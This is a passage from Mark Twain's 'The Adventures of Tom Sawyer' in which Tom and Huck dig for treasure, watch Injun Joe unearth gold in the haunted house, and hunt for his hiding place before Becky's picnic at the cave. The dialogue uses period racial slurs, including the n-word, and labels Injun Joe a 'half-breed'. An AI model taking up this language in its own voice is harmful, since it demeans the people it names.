+"But they don't." + +"Well, if they like it, Tom, all right; but I don't want +to be a king and have only just a given name, like a +nigger. But say -- where you going to dig first?" + +"Well, I don't know. S'pose we tackle that old +dead-limb tree on the hill t'other side of Still-House +branch?" + +"I'm agreed." + +So they got a crippled pick and a shovel, and set +out on their three-mile tramp. They arrived hot and +panting, and threw themselves down in the shade of a +neighboring elm to rest and have a smoke. + +"I like this," said Tom. + +"So do I." + +"Say, Huck, if we find a treasure here, what you +going to do with your share?" + +"Well, I'll have pie and a glass of soda every day, +and I'll go to every circus that comes along. I bet I'll +have a gay time." + +"Well, ain't you going to save any of it?" + +"Save it? What for?" + +"Why, so as to have something to live on, by and +by." + +"Oh, that ain't any use. Pap would come back to +thish-yer town some day and get his claws on it if I +didn't hurry up, and I tell you he'd clean it out pretty +quick. What you going to do with yourn, Tom?" + +"I'm going to buy a new drum, and a sure-'nough +sword, and a red necktie and a bull pup, and get mar- +ried." + +"Married!" + +"That's it." + +"Tom, you -- why, you ain't in your right mind." + +"Wait -- you'll see." + +"Well, that's the foolishest thing you could do. +Look at pap and my mother. Fight! Why, they used +to fight all the time. I remember, mighty well." + +"That ain't anything. The girl I'm going to marry +won't fight." + +"Tom, I reckon they're all alike. They'll all comb +a body. Now you better think 'bout this awhile. I +tell you you better. What's the name of the gal?" + +"It ain't a gal at all -- it's a girl." + +"It's all the same, I reckon; some says gal, some +says girl -- both's right, like enough. Anyway, what's +her name, Tom?" + +"I'll tell you some time -- not now." + +"All right -- that'll do. Only if you get married I'll +be more lonesomer than ever." + +"No you won't. You'll come and live with me. +Now stir out of this and we'll go to digging." + +They worked and sweated for half an hour. No +result. They toiled another half-hour. Still no result. +Huck said: + +"Do they always bury it as deep as this?" + +"Sometimes -- not always. Not generally. I reckon +we haven't got the right place." + +So they chose a new spot and began again. The +labor dragged a little, but still they made progress. +They pegged away in silence for some time. Finally +Huck leaned on his shovel, swabbed the beaded drops +from his brow with his sleeve, and said: + +"Where you going to dig next, after we get this +one?" + +"I reckon maybe we'll tackle the old tree that's +over yonder on Cardiff Hill back of the widow's." + +"I reckon that'll be a good one. But won't the +widow take it away from us, Tom? It's on her land." + +"SHE take it away! Maybe she'd like to try it once. +Whoever finds one of these hid treasures, it belongs +to him. It don't make any difference whose land +it's on." + +That was satisfactory. The work went on. By +and by Huck said: + +"Blame it, we must be in the wrong place again. +What do you think?" + +"It is mighty curious, Huck. I don't understand it. +Sometimes witches interfere. I reckon maybe that's +what's the trouble now." + +"Shucks! Witches ain't got no power in the day- +time." + +"Well, that's so. I didn't think of that. Oh, I +know what the matter is! What a blamed lot of fools +we are! You got to find out where the shadow of the +limb falls at midnight, and that's where you dig!" + +"Then consound it, we've fooled away all this work +for nothing. Now hang it all, we got to come back +in the night. It's an awful long way. Can you get +out?" + +"I bet I will. We've got to do it to-night, too, be- +cause if somebody sees these holes they'll know in a +minute what's here and they'll go for it." + +"Well, I'll come around and maow to-night." + +"All right. Let's hide the tools in the bushes." + +The boys were there that night, about the appoint- +ed time. They sat in the shadow waiting. It was a +lonely place, and an hour made solemn by old traditions. +Spirits whispered in the rustling leaves, ghosts lurked +in the murky nooks, the deep baying of a hound floated +up out of the distance, an owl answered with his +sepulchral note. The boys were subdued by these +solemnities, and talked little. By and by they judged +that twelve had come; they marked where the shadow +fell, and began to dig. Their hopes commenced to rise. +Their interest grew stronger, and their industry kept +pace with it. The hole deepened and still deepened, +but every time their hearts jumped to hear the pick +strike upon something, they only suffered a new disap- +pointment. It was only a stone or a chunk. At last +Tom said: + +"It ain't any use, Huck, we're wrong again." + +"Well, but we CAN'T be wrong. We spotted the +shadder to a dot." + +"I know it, but then there's another thing." + +"What's that?". + +"Why, we only guessed at the time. Like enough +it was too late or too early." + +Huck dropped his shovel. + +"That's it," said he. "That's the very trouble. +We got to give this one up. We can't ever tell the +right time, and besides this kind of thing's too awful, +here this time of night with witches and ghosts a-flut- +tering around so. I feel as if something's behind +me all the time; and I'm afeard to turn around, +becuz maybe there's others in front a-waiting for a +chance. I been creeping all over, ever since I got +here." + +"Well, I've been pretty much so, too, Huck. They +most always put in a dead man when they bury a +treasure under a tree, to look out for it." + +"Lordy!" + +"Yes, they do. I've always heard that." + +"Tom, I don't like to fool around much where +there's dead people. A body's bound to get into +trouble with 'em, sure." + +"I don't like to stir 'em up, either. S'pose this one +here was to stick his skull out and say something!" + +"Don't Tom! It's awful." + +"Well, it just is. Huck, I don't feel comfortable +a bit." + +"Say, Tom, let's give this place up, and try some- +wheres else." + +"All right, I reckon we better." + +"What'll it be?" + +Tom considered awhile; and then said: + +"The ha'nted house. That's it!" + +"Blame it, I don't like ha'nted houses, Tom. Why, +they're a dern sight worse'n dead people. Dead people +might talk, maybe, but they don't come sliding around +in a shroud, when you ain't noticing, and peep over +your shoulder all of a sudden and grit their teeth, the +way a ghost does. I couldn't stand such a thing as that, +Tom -- nobody could." + +"Yes, but, Huck, ghosts don't travel around only +at night. They won't hender us from digging there in +the daytime." + +"Well, that's so. But you know mighty well people +don't go about that ha'nted house in the day nor the +night." + +"Well, that's mostly because they don't like to go +where a man's been murdered, anyway -- but nothing's +ever been seen around that house except in the night -- +just some blue lights slipping by the windows -- no +regular ghosts." + +"Well, where you see one of them blue lights flicker- +ing around, Tom, you can bet there's a ghost mighty +close behind it. It stands to reason. Becuz you know +that they don't anybody but ghosts use 'em." + +"Yes, that's so. But anyway they don't come +around in the daytime, so what's the use of our being +afeard?" + +"Well, all right. We'll tackle the ha'nted house +if you say so -- but I reckon it's taking chances." + +They had started down the hill by this time. There +in the middle of the moonlit valley below them stood +the "ha'nted" house, utterly isolated, its fences gone +long ago, rank weeds smothering the very doorsteps, +the chimney crumbled to ruin, the window-sashes +vacant, a corner of the roof caved in. The boys gazed +awhile, half expecting to see a blue light flit past a +window; then talking in a low tone, as befitted the time +and the circumstances, they struck far off to the right, +to give the haunted house a wide berth, and took their +way homeward through the woods that adorned the +rearward side of Cardiff Hill. + + +CHAPTER XXVI + +ABOUT noon the next day the boys ar- +rived at the dead tree; they had come +for their tools. Tom was impatient +to go to the haunted house; Huck +was measurably so, also -- but suddenly +said: + +"Lookyhere, Tom, do you know what day it is?" + +Tom mentally ran over the days of the week, and +then quickly lifted his eyes with a startled look in +them -- + +"My! I never once thought of it, Huck!" + +"Well, I didn't neither, but all at once it popped +onto me that it was Friday." + +"Blame it, a body can't be too careful, Huck. We +might 'a' got into an awful scrape, tackling such a thing +on a Friday." + +"MIGHT! Better say we WOULD! There's some lucky +days, maybe, but Friday ain't." + +"Any fool knows that. I don't reckon YOU was the +first that found it out, Huck." + +"Well, I never said I was, did I? And Friday ain't +all, neither. I had a rotten bad dream last night -- +dreampt about rats." + +"No! Sure sign of trouble. Did they fight?" + +"No." + +"Well, that's good, Huck. When they don't fight +it's only a sign that there's trouble around, you know. +All we got to do is to look mighty sharp and keep out of +it. We'll drop this thing for to-day, and play. Do +you know Robin Hood, Huck?" + +"No. Who's Robin Hood?" + +"Why, he was one of the greatest men that was +ever in England -- and the best. He was a rob- +ber." + +"Cracky, I wisht I was. Who did he rob?" + +"Only sheriffs and bishops and rich people and kings, +and such like. But he never bothered the poor. He +loved 'em. He always divided up with 'em perfectly +square." + +"Well, he must 'a' been a brick." + +"I bet you he was, Huck. Oh, he was the noblest +man that ever was. They ain't any such men now, I +can tell you. He could lick any man in England, with +one hand tied behind him; and he could take his yew +bow and plug a ten-cent piece every time, a mile and a +half." + +"What's a YEW bow?" + +"I don't know. It's some kind of a bow, of course. +And if he hit that dime only on the edge he would set +down and cry -- and curse. But we'll play Robin Hood +-- it's nobby fun. I'll learn you." + +"I'm agreed." + +So they played Robin Hood all the afternoon, now +and then casting a yearning eye down upon the haunted +house and passing a remark about the morrow's pros- +pects and possibilities there. As the sun began to sink +into the west they took their way homeward athwart the +long shadows of the trees and soon were buried from +sight in the forests of Cardiff Hill. + +On Saturday, shortly after noon, the boys were +at the dead tree again. They had a smoke and a +chat in the shade, and then dug a little in their last +hole, not with great hope, but merely because Tom +said there were so many cases where people had given +up a treasure after getting down within six inches of it, +and then somebody else had come along and turned +it up with a single thrust of a shovel. The thing failed +this time, however, so the boys shouldered their tools +and went away feeling that they had not trifled with +fortune, but had fulfilled all the requirements that be- +long to the business of treasure-hunting. + +When they reached the haunted house there was +something so weird and grisly about the dead silence +that reigned there under the baking sun, and some- +thing so depressing about the loneliness and desola- +tion of the place, that they were afraid, for a mo- +ment, to venture in. Then they crept to the door and +took a trembling peep. They saw a weed-grown, +floorless room, unplastered, an ancient fireplace, va- +cant windows, a ruinous staircase; and here, there, +and everywhere hung ragged and abandoned cobwebs. +They presently entered, softly, with quickened pulses, +talking in whispers, ears alert to catch the slightest +sound, and muscles tense and ready for instant retreat. + +In a little while familiarity modified their fears and +they gave the place a critical and interested exam- +ination, rather admiring their own boldness, and won- +dering at it, too. Next they wanted to look up-stairs. +This was something like cutting off retreat, but they got +to daring each other, and of course there could be but +one result -- they threw their tools into a corner and made +the ascent. Up there were the same signs of decay. +In one corner they found a closet that promised mystery, +but the promise was a fraud -- there was nothing in it. +Their courage was up now and well in hand. They +were about to go down and begin work when -- + +"Sh!" said Tom. + +"What is it?" whispered Huck, blanching with fright. + +"Sh! ... There! ... Hear it?" + +"Yes! ... Oh, my! Let's run!" + +"Keep still! Don't you budge! They're coming +right toward the door." + +The boys stretched themselves upon the floor with +their eyes to knot-holes in the planking, and lay wait- +ing, in a misery of fear. + +"They've stopped.... No -- coming.... Here they +are. Don't whisper another word, Huck. My good- +ness, I wish I was out of this!" + +Two men entered. Each boy said to himself: +"There's the old deaf and dumb Spaniard that's been +about town once or twice lately -- never saw t'other +man before." + +"T'other" was a ragged, unkempt creature, with +nothing very pleasant in his face. The Spaniard was +wrapped in a serape; he had bushy white whiskers; long +white hair flowed from under his sombrero, and he +wore green goggles. When they came in, "t'other" was +talking in a low voice; they sat down on the ground, +facing the door, with their backs to the wall, and the +speaker continued his remarks. His manner became +less guarded and his words more distinct as he proceeded: + +"No," said he, "I've thought it all over, and I don't +like it. It's dangerous." + +"Dangerous!" grunted the "deaf and dumb" Span- +iard -- to the vast surprise of the boys. "Milksop!" + +This voice made the boys gasp and quake. It was +Injun Joe's! There was silence for some time. Then +Joe said: + +"What's any more dangerous than that job up yon- +der -- but nothing's come of it." + +"That's different. Away up the river so, and not +another house about. 'Twon't ever be known that we +tried, anyway, long as we didn't succeed." + +"Well, what's more dangerous than coming here in +the daytime! -- anybody would suspicion us that saw us." + +"I know that. But there warn't any other place as +handy after that fool of a job. I want to quit this +shanty. I wanted to yesterday, only it warn't any use +trying to stir out of here, with those infernal boys play- +ing over there on the hill right in full view." + +"Those infernal boys" quaked again under the in- +spiration of this remark, and thought how lucky it was +that they had remembered it was Friday and concluded +to wait a day. They wished in their hearts they had +waited a year. + +The two men got out some food and made a luncheon. +After a long and thoughtful silence, Injun Joe said: + +"Look here, lad -- you go back up the river where +you belong. Wait there till you hear from me. I'll +take the chances on dropping into this town just once +more, for a look. We'll do that 'dangerous' job after +I've spied around a little and think things look well for +it. Then for Texas! We'll leg it together!" + +This was satisfactory. Both men presently fell to +yawning, and Injun Joe said: + +"I'm dead for sleep! It's your turn to watch." + +He curled down in the weeds and soon began to +snore. His comrade stirred him once or twice and he +became quiet. Presently the watcher began to nod; +his head drooped lower and lower, both men began to +snore now. + +The boys drew a long, grateful breath. Tom whis- +pered: + +"Now's our chance -- come!" + +Huck said: + +"I can't -- I'd die if they was to wake." + +Tom urged -- Huck held back. At last Tom rose +slowly and softly, and started alone. But the first +step he made wrung such a hideous creak from the +crazy floor that he sank down almost dead with fright. +He never made a second attempt. The boys lay there +counting the dragging moments till it seemed to them +that time must be done and eternity growing gray; and +then they were grateful to note that at last the sun was +setting. + +Now one snore ceased. Injun Joe sat up, stared +around -- smiled grimly upon his comrade, whose head +was drooping upon his knees -- stirred him up with his +foot and said: + +"Here! YOU'RE a watchman, ain't you! All right, +though -- nothing's happened." + +"My! have I been asleep?" + +"Oh, partly, partly. Nearly time for us to be mov- +ing, pard. What'll we do with what little swag we've +got left?" + +"I don't know -- leave it here as we've always done, +I reckon. No use to take it away till we start +south. Six hundred and fifty in silver's something to +carry." + +"Well -- all right -- it won't matter to come here once +more." + +"No -- but I'd say come in the night as we used to do +-- it's better." + +"Yes: but look here; it may be a good while before +I get the right chance at that job; accidents might hap- +pen; 'tain't in such a very good place; we'll just regularly +bury it -- and bury it deep." + +"Good idea," said the comrade, who walked across +the room, knelt down, raised one of the rearward hearth- +stones and took out a bag that jingled pleasantly. He +subtracted from it twenty or thirty dollars for himself +and as much for Injun Joe, and passed the bag to the +latter, who was on his knees in the corner, now, digging +with his bowie-knife. + +The boys forgot all their fears, all their miseries +in an instant. With gloating eyes they watched every +movement. Luck! -- the splendor of it was beyond all +imagination! Six hundred dollars was money enough +to make half a dozen boys rich! Here was treasure- +hunting under the happiest auspices -- there would not +be any bothersome uncertainty as to where to dig. +They nudged each other every moment -- eloquent +nudges and easily understood, for they simply meant -- +"Oh, but ain't you glad NOW we're here!" + +Joe's knife struck upon something. + +"Hello!" said he. + +"What is it?" said his comrade. + +"Half-rotten plank -- no, it's a box, I believe. Here -- +bear a hand and we'll see what it's here for. Never +mind, I've broke a hole." + +He reached his hand in and drew it out -- + +"Man, it's money!" + +The two men examined the handful of coins. They +were gold. The boys above were as excited as them- +selves, and as delighted. + +Joe's comrade said: + +"We'll make quick work of this. There's an old +rusty pick over amongst the weeds in the corner the +other side of the fireplace -- I saw it a minute ago." + +He ran and brought the boys' pick and shovel. Injun +Joe took the pick, looked it over critically, shook his +head, muttered something to himself, and then began +to use it. The box was soon unearthed. It was not +very large; it was iron bound and had been very strong +before the slow years had injured it. The men con- +templated the treasure awhile in blissful silence. + +"Pard, there's thousands of dollars here," said Injun +Joe. + +"'Twas always said that Murrel's gang used to be +around here one summer," the stranger observed. + +"I know it," said Injun Joe; "and this looks like it, +I should say." + +"Now you won't need to do that job." + +The half-breed frowned. Said he: + +"You don't know me. Least you don't know all +about that thing. 'Tain't robbery altogether -- it's +REVENGE!" and a wicked light flamed in his eyes. "I'll +need your help in it. When it's finished -- then Texas. +Go home to your Nance and your kids, and stand by +till you hear from me." + +"Well -- if you say so; what'll we do with this -- bury +it again?" + +"Yes. [Ravishing delight overhead.] NO! by the +great Sachem, no! [Profound distress overhead.] I'd +nearly forgot. That pick had fresh earth on it! [The +boys were sick with terror in a moment.] What busi- +ness has a pick and a shovel here? What business with +fresh earth on them? Who brought them here -- and +where are they gone? Have you heard anybody? -- +seen anybody? What! bury it again and leave them to +come and see the ground disturbed? Not exactly -- not +exactly. We'll take it to my den." + +"Why, of course! Might have thought of that be- +fore. You mean Number One?" + +"No -- Number Two -- under the cross. The other +place is bad -- too common." + +"All right. It's nearly dark enough to start." + +Injun Joe got up and went about from window to +window cautiously peeping out. Presently he said: + +"Who could have brought those tools here? Do +you reckon they can be up-stairs?" + +The boys' breath forsook them. Injun Joe put his +hand on his knife, halted a moment, undecided, and +then turned toward the stairway. The boys thought +of the closet, but their strength was gone. The steps +came creaking up the stairs -- the intolerable distress +of the situation woke the stricken resolution of the lads +-- they were about to spring for the closet, when there +was a crash of rotten timbers and Injun Joe landed on +the ground amid the debris of the ruined stairway. He +gathered himself up cursing, and his comrade said: + +"Now what's the use of all that? If it's anybody, +and they're up there, let them STAY there -- who cares? +If they want to jump down, now, and get into trouble, +who objects? It will be dark in fifteen minutes -- and +then let them follow us if they want to. I'm willing. +In my opinion, whoever hove those things in here caught +a sight of us and took us for ghosts or devils or some- +thing. I'll bet they're running yet." + +Joe grumbled awhile; then he agreed with his friend +that what daylight was left ought to be economized in +getting things ready for leaving. Shortly afterward +they slipped out of the house in the deepening twilight, +and moved toward the river with their precious box. + +Tom and Huck rose up, weak but vastly relieved, +and stared after them through the chinks between the +logs of the house. Follow? Not they. They were +content to reach ground again without broken necks, +and take the townward track over the hill. They did +not talk much. They were too much absorbed in hating +themselves -- hating the ill luck that made them take +the spade and the pick there. But for that, Injun Joe +never would have suspected. He would have hidden +the silver with the gold to wait there till his "revenge" +was satisfied, and then he would have had the mis- +fortune to find that money turn up missing. Bitter, +bitter luck that the tools were ever brought there! + +They resolved to keep a lookout for that Spaniard +when he should come to town spying out for chances +to do his revengeful job, and follow him to "Number +Two," wherever that might be. Then a ghastly thought +occurred to Tom. + +"Revenge? What if he means US, Huck!" + +"Oh, don't!" said Huck, nearly fainting. + +They talked it all over, and as they entered town they +agreed to believe that he might possibly mean somebody +else -- at least that he might at least mean nobody but +Tom, since only Tom had testified. + +Very, very small comfort it was to Tom to be alone +in danger! Company would be a palpable improve- +ment, he thought. + + +CHAPTER XXVII + +THE adventure of the day mightily tor- +mented Tom's dreams that night. Four +times he had his hands on that rich +treasure and four times it wasted to +nothingness in his fingers as sleep for- +sook him and wakefulness brought back +the hard reality of his misfortune. As he lay in the +early morning recalling the incidents of his great ad- +venture, he noticed that they seemed curiously subdued +and far away -- somewhat as if they had happened in +another world, or in a time long gone by. Then it oc- +curred to him that the great adventure itself must be +a dream! There was one very strong argument in favor +of this idea -- namely, that the quantity of coin he had +seen was too vast to be real. He had never seen as +much as fifty dollars in one mass before, and he was +like all boys of his age and station in life, in that he +imagined that all references to "hundreds" and "thou- +sands" were mere fanciful forms of speech, and that +no such sums really existed in the world. He never had +supposed for a moment that so large a sum as a hun- +dred dollars was to be found in actual money in any +one's possession. If his notions of hidden treasure had +been analyzed, they would have been found to consist of +a handful of real dimes and a bushel of vague, splen- +did, ungraspable dollars. + +But the incidents of his adventure grew sensibly +sharper and clearer under the attrition of thinking them +over, and so he presently found himself leaning to the +impression that the thing might not have been a dream, +after all. This uncertainty must be swept away. He +would snatch a hurried breakfast and go and find Huck. +Huck was sitting on the gunwale of a flatboat, list- +lessly dangling his feet in the water and looking very +melancholy. Tom concluded to let Huck lead up to +the subject. If he did not do it, then the adventure +would be proved to have been only a dream. + +"Hello, Huck!" + +"Hello, yourself." + +Silence, for a minute. + +"Tom, if we'd 'a' left the blame tools at the dead +tree, we'd 'a' got the money. Oh, ain't it awful!" + +"'Tain't a dream, then, 'tain't a dream! Somehow +I most wish it was. Dog'd if I don't, Huck." + +"What ain't a dream?" + +"Oh, that thing yesterday. I been half thinking +it was." + +"Dream! If them stairs hadn't broke down you'd +'a' seen how much dream it was! I've had dreams +enough all night -- with that patch-eyed Spanish devil +going for me all through 'em -- rot him!" + +"No, not rot him. FIND him! Track the money!" + +"Tom, we'll never find him. A feller don't have +only one chance for such a pile -- and that one's lost. +I'd feel mighty shaky if I was to see him, anyway." + +"Well, so'd I; but I'd like to see him, anyway -- +and track him out -- to his Number Two." + +"Number Two -- yes, that's it. I been thinking +'bout that. But I can't make nothing out of it. What +do you reckon it is?" + +"I dono. It's too deep. Say, Huck -- maybe it's +the number of a house!" + +"Goody! ... No, Tom, that ain't it. If it is, it ain't +in this one-horse town. They ain't no numbers here." + +"Well, that's so. Lemme think a minute. Here -- +it's the number of a room -- in a tavern, you know!" + +"Oh, that's the trick! They ain't only two taverns. +We can find out quick." + +"You stay here, Huck, till I come." + +Tom was off at once. He did not care to have +Huck's company in public places. He was gone half +an hour. He found that in the best tavern, No. 2 +had long been occupied by a young lawyer, and was +still so occupied. In the less ostentatious house, No. 2 +was a mystery. The tavern-keeper's young son said +it was kept locked all the time, and he never saw any- +body go into it or come out of it except at night; he +did not know any particular reason for this state of +things; had had some little curiosity, but it was rather +feeble; had made the most of the mystery by enter- +taining himself with the idea that that room was +"ha'nted"; had noticed that there was a light in there +the night before. + +"That's what I've found out, Huck. I reckon +that's the very No. 2 we're after." + +"I reckon it is, Tom. Now what you going to do?" + +"Lemme think." + +Tom thought a long time. Then he said: + +"I'll tell you. The back door of that No. 2 is +the door that comes out into that little close alley +between the tavern and the old rattle trap of a brick +store. Now you get hold of all the door-keys you +can find, and I'll nip all of auntie's, and the first dark +night we'll go there and try 'em. And mind you, +keep a lookout for Injun Joe, because he said he was +going to drop into town and spy around once more +for a chance to get his revenge. If you see him, you +just follow him; and if he don't go to that No. 2, +that ain't the place." + +"Lordy, I don't want to foller him by myself!" + +"Why, it'll be night, sure. He mightn't ever see +you -- and if he did, maybe he'd never think anything." + +"Well, if it's pretty dark I reckon I'll track him. +I dono -- I dono. I'll try." + +"You bet I'll follow him, if it's dark, Huck. Why, +he might 'a' found out he couldn't get his revenge, +and be going right after that money." + +"It's so, Tom, it's so. I'll foller him; I will, by +jingoes!" + +"Now you're TALKING! Don't you ever weaken, +Huck, and I won't." + + +CHAPTER XXVIII + +THAT night Tom and Huck were ready +for their adventure. They hung about +the neighborhood of the tavern until +after nine, one watching the alley at a +distance and the other the tavern door. +Nobody entered the alley or left it; no- +body resembling the Spaniard entered or left the tavern +door. The night promised to be a fair one; so Tom +went home with the understanding that if a consider- +able degree of darkness came on, Huck was to come +and "maow," whereupon he would slip out and try +the keys. But the night remained clear, and Huck +closed his watch and retired to bed in an empty sugar +hogshead about twelve. + +Tuesday the boys had the same ill luck. Also +Wednesday. But Thursday night promised better. +Tom slipped out in good season with his aunt's old +tin lantern, and a large towel to blindfold it with. +He hid the lantern in Huck's sugar hogshead and the +watch began. An hour before midnight the tavern +closed up and its lights (the only ones thereabouts) +were put out. No Spaniard had been seen. Nobody +had entered or left the alley. Everything was auspi- +cious. The blackness of darkness reigned, the perfect +stillness was interrupted only by occasional mutterings +of distant thunder. + +Tom got his lantern, lit it in the hogshead, wrapped +it closely in the towel, and the two adventurers crept +in the gloom toward the tavern. Huck stood sentry +and Tom felt his way into the alley. Then there was +a season of waiting anxiety that weighed upon Huck's +spirits like a mountain. He began to wish he could +see a flash from the lantern -- it would frighten him, but +it would at least tell him that Tom was alive yet. It +seemed hours since Tom had disappeared. Surely +he must have fainted; maybe he was dead; maybe +his heart had burst under terror and excitement. In +his uneasiness Huck found himself drawing closer +and closer to the alley; fearing all sorts of dreadful +things, and momentarily expecting some catastrophe +to happen that would take away his breath. There +was not much to take away, for he seemed only able +to inhale it by thimblefuls, and his heart would soon +wear itself out, the way it was beating. Suddenly +there was a flash of light and Tom came tearing by +him: +. +"Run!" said he; "run, for your life!" + +He needn't have repeated it; once was enough; +Huck was making thirty or forty miles an hour before +the repetition was uttered. The boys never stopped +till they reached the shed of a deserted slaughter- +house at the lower end of the village. Just as they got +within its shelter the storm burst and the rain poured +down. As soon as Tom got his breath he said: + +"Huck, it was awful! I tried two of the keys, just +as soft as I could; but they seemed to make such a +power of racket that I couldn't hardly get my breath +I was so scared. They wouldn't turn in the lock, +either. Well, without noticing what I was doing, I +took hold of the knob, and open comes the door! It +warn't locked! I hopped in, and shook off the towel, +and, GREAT CAESAR'S GHOST!" + +"What! -- what'd you see, Tom?" + +"Huck, I most stepped onto Injun Joe's hand!" + +"No!" + +"Yes! He was lying there, sound asleep on the +floor, with his old patch on his eye and his arms spread +out." + +"Lordy, what did you do? Did he wake up?" + +"No, never budged. Drunk, I reckon. I just +grabbed that towel and started!" + +"I'd never 'a' thought of the towel, I bet!" + +"Well, I would. My aunt would make me mighty +sick if I lost it." + +"Say, Tom, did you see that box?" + +"Huck, I didn't wait to look around. I didn't see +the box, I didn't see the cross. I didn't see anything +but a bottle and a tin cup on the floor by Injun Joe; +yes, I saw two barrels and lots more bottles in the +room. Don't you see, now, what's the matter with +that ha'nted room?" + +"How?" + +"Why, it's ha'nted with whiskey! Maybe ALL the +Temperance Taverns have got a ha'nted room, hey, +Huck?" + +"Well, I reckon maybe that's so. Who'd 'a' thought +such a thing? But say, Tom, now's a mighty good +time to get that box, if Injun Joe's drunk." + +"It is, that! You try it!" + +Huck shuddered. + +"Well, no -- I reckon not." + +"And I reckon not, Huck. Only one bottle along- +side of Injun Joe ain't enough. If there'd been three, +he'd be drunk enough and I'd do it." + +There was a long pause for reflection, and then +Tom said: + +"Lookyhere, Huck, less not try that thing any +more till we know Injun Joe's not in there. It's too +scary. Now, if we watch every night, we'll be dead +sure to see him go out, some time or other, and then +we'll snatch that box quicker'n lightning." + +"Well, I'm agreed. I'll watch the whole night long, +and I'll do it every night, too, if you'll do the other part +of the job." + +"All right, I will. All you got to do is to trot up +Hooper Street a block and maow -- and if I'm asleep, +you throw some gravel at the window and that'll +fetch me." + +"Agreed, and good as wheat!" + +"Now, Huck, the storm's over, and I'll go home. +It'll begin to be daylight in a couple of hours. You go +back and watch that long, will you?" + +"I said I would, Tom, and I will. I'll ha'nt that +tavern every night for a year! I'll sleep all day and +I'll stand watch all night." + +"That's all right. Now, where you going to sleep?" + +"In Ben Rogers' hayloft. He lets me, and so does +his pap's nigger man, Uncle Jake. I tote water for +Uncle Jake whenever he wants me to, and any time I +ask him he gives me a little something to eat if he +can spare it. That's a mighty good nigger, Tom. He +likes me, becuz I don't ever act as if I was above him. +Sometime I've set right down and eat WITH him. But +you needn't tell that. A body's got to do things when +he's awful hungry he wouldn't want to do as a steady +thing." + +"Well, if I don't want you in the daytime, I'll let +you sleep. I won't come bothering around. Any +time you see something's up, in the night, just skip +right around and maow." + + +CHAPTER XXIX + +THE first thing Tom heard on Friday +morning was a glad piece of news -- +Judge Thatcher's family had come back +to town the night before. Both Injun +Joe and the treasure sunk into second- +ary importance for a moment, and Becky +took the chief place in the boy's interest. He saw her +and they had an exhausting good time playing "hi- +spy" and "gully-keeper" with a crowd of their school- +mates. The day was completed and crowned in a pe- +culiarly satisfactory way: Becky teased her mother to +appoint the next day for the long-promised and long- +delayed picnic, and she consented. The child's delight +was boundless; and Tom's not more moderate. The +invitations were sent out before sunset, and straightway +the young folks of the village were thrown into a fever +of preparation and pleasurable anticipation. Tom's +excitement enabled him to keep awake until a pretty +late hour, and he had good hopes of hearing Huck's +"maow," and of having his treasure to astonish Becky +and the picnickers with, next day; but he was dis- +appointed. No signal came that night. + +Morning came, eventually, and by ten or eleven +o'clock a giddy and rollicking company were gathered +at Judge Thatcher's, and everything was ready for a +start. It was not the custom for elderly people to +mar the picnics with their presence. The children +were considered safe enough under the wings of a +few young ladies of eighteen and a few young gentlemen +of twenty-three or thereabouts. The old steam ferry- +boat was chartered for the occasion; presently the +gay throng filed up the main street laden with provision- +baskets. Sid was sick and had to miss the fun; Mary +remained at home to entertain him. The last thing +Mrs. Thatcher said to Becky, was: + +"You'll not get back till late. Perhaps you'd better +stay all night with some of the girls that live near the +ferry-landing, child." + +"Then I'll stay with Susy Harper, mamma." + +"Very well. And mind and behave yourself and +don't be any trouble." + +Presently, as they tripped along, Tom said to Becky: + +"Say -- I'll tell you what we'll do. 'Stead of going +to Joe Harper's we'll climb right up the hill and stop +at the Widow Douglas'. She'll have ice-cream! She +has it most every day -- dead loads of it. And she'll be +awful glad to have us." + +"Oh, that will be fun!" + +Then Becky reflected a moment and said: + +"But what will mamma say?" + +"How'll she ever know?" + +The girl turned the idea over in her mind, and said +reluctantly: + +"I reckon it's wrong -- but --" + +"But shucks! Your mother won't know, and so +what's the harm? All she wants is that you'll be safe; +and I bet you she'd 'a' said go there if she'd 'a' thought +of it. I know she would!" + +The Widow Douglas' splendid hospitality was a +tempting bait. It and Tom's persuasions presently +carried the day. So it was decided to say nothing +anybody about the night's programme. Presently +it occurred to Tom that maybe Huck might come +this very night and give the signal. The thought took +a deal of the spirit out of his anticipations. Still he +could not bear to give up the fun at Widow Douglas'. +And why should he give it up, he reasoned -- the signal +did not come the night before, so why should it be any +more likely to come to-night? The sure fun of the +evening outweighed the uncertain treasure; and, boy- +like, he determined to yield to the stronger inclination +and not allow himself to think of the box of money +another time that day. + +Three miles below town the ferryboat stopped at +the mouth of a woody hollow and tied up. The +crowd swarmed ashore and soon the forest distances +and craggy heights echoed far and near with shoutings +and laughter. All the different ways of getting hot +and tired were gone through with, and by-and-by the +rovers straggled back to camp fortified with responsible +appetites, and then the destruction of the good things +began. After the feast there was a refreshing season +of rest and chat in the shade of spreading oaks. By- +and-by somebody shouted: + +"Who's ready for the cave?" + +Everybody was. Bundles of candles were procured, +and straightway there was a general scamper up the +hill. The mouth of the cave was up the hillside -- an +opening shaped like a letter A. Its massive oaken +door stood unbarred. Within was a small chamber, +chilly as an ice-house, and walled by Nature with +solid limestone that was dewy with a cold sweat. It +was romantic and mysterious to stand here in the +deep gloom and look out upon the green valley shining +in the sun. But the impressiveness of the situation +quickly wore off, and the romping began again. The +moment a candle was lighted there was a general rush +upon the owner of it; a struggle and a gallant defence +followed, but the candle was soon knocked down or +blown out, and then there was a glad clamor of laughter +and a new chase. But all things have an end. By-and- +by the procession went filing down the steep descent +of the main avenue, the flickering rank of lights dimly +revealing the lofty walls of rock almost to their point +of junction sixty feet overhead. This main avenue +was not more than eight or ten feet wide. Every few +steps other lofty and still narrower crevices branched +from it on either hand -- for McDougal's cave was but +a vast labyrinth of crooked aisles that ran into each +other and out again and led nowhere. It was said that +one might wander days and nights together through +its intricate tangle of rifts and chasms, and never find +the end of the cave; and that he might go down, and +down, and still down, into the earth, and it was just +the same -- labyrinth under labyrinth, and no end to +any of them. No man "knew" the cave. That was +an impossible thing. Most of the young men knew a +portion of it, and it was not customary to venture much +beyond this known portion. Tom Sawyer knew as +much of the cave as any one. + +The procession moved along the main avenue +some three-quarters of a mile, and then groups and +couples began to slip aside into branch avenues, fly +along the dismal corridors, and take each other by +surprise at points where the corridors joined again. +Parties were able to elude each other for the space of +half an hour without going beyond the "known" +ground. + +By-and-by, one group after another came straggling +back to the mouth of the cave, panting, hilarious, +smeared from head to foot with tallow drippings, +daubed with clay, and entirely delighted with the +success of the day. Then they were astonished to +find that they had been taking no note of time and +that night was about at hand. The clanging bell had +been calling for half an hour. However, this sort of +close to the day's adventures was romantic and there- +fore satisfactory. When the ferryboat with her wild +freight pushed into the stream, nobody cared sixpence +for the wasted time but the captain 